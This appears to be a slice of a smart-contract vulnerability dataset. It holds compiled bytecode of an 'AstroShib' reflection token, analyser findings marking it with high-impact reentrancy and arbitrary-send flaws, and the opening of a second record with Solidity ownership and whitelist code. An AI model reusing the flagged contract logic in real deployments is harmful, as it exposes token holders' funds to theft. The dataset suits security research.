34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280601a81526020017f417374726f53686962207c20542e6d652f417374726f53686962000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f417374726f536869620000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960068461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660048461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203a8bedf329f6708335d7dd89d5164e24c27176c1a544a6c277ed71d3533f362964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,823
0x502916c508843a25dd7e26c08559938948410c46
pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address&#39; access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * Supports unlimited numbers of roles and addresses. * See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It&#39;s also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address indexed operator, string role); event RoleRemoved(address indexed operator, string role); /** * @dev reverts if addr does not have role * @param _operator address * @param _role the name of the role * // reverts */ function checkRole(address _operator, string _role) view public { roles[_role].check(_operator); } /** * @dev determine if addr has role * @param _operator address * @param _role the name of the role * @return bool */ function hasRole(address _operator, string _role) view public returns (bool) { return roles[_role].has(_operator); } /** * @dev add a role to an address * @param _operator address * @param _role the name of the role */ function addRole(address _operator, string _role) internal { roles[_role].add(_operator); emit RoleAdded(_operator, _role); } /** * @dev remove a role from an address * @param _operator address * @param _role the name of the role */ function removeRole(address _operator, string _role) internal { roles[_role].remove(_operator); emit RoleRemoved(_operator, _role); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param _role the name of the role * // reverts */ modifier onlyRole(string _role) { checkRole(msg.sender, _role); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param _roles the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] _roles) { // bool hasAnyRole = false; // for (uint8 i = 0; i < _roles.length; i++) { // if (hasRole(msg.sender, _roles[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } /** * @title Whitelist * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * This simplifies the implementation of "user permissions". */ contract Whitelist is Ownable, RBAC { string public constant ROLE_WHITELISTED = "whitelist"; /** * @dev Throws if operator is not whitelisted. * @param _operator address */ modifier onlyIfWhitelisted(address _operator) { checkRole(_operator, ROLE_WHITELISTED); _; } /** * @dev add an address to the whitelist * @param _operator address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address _operator) onlyOwner public { addRole(_operator, ROLE_WHITELISTED); } /** * @dev getter to determine if address is in whitelist */ function whitelist(address _operator) public view returns (bool) { return hasRole(_operator, ROLE_WHITELISTED); } /** * @dev add addresses to the whitelist * @param _operators addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] _operators) onlyOwner public { for (uint256 i = 0; i < _operators.length; i++) { addAddressToWhitelist(_operators[i]); } } /** * @dev remove an address from the whitelist * @param _operator address * @return true if the address was removed from the whitelist, * false if the address wasn&#39;t in the whitelist in the first place */ function removeAddressFromWhitelist(address _operator) onlyOwner public { removeRole(_operator, ROLE_WHITELISTED); } /** * @dev remove addresses from the whitelist * @param _operators addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren&#39;t in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] _operators) onlyOwner public { for (uint256 i = 0; i < _operators.length; i++) { removeAddressFromWhitelist(_operators[i]); } } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract HKHcoin is 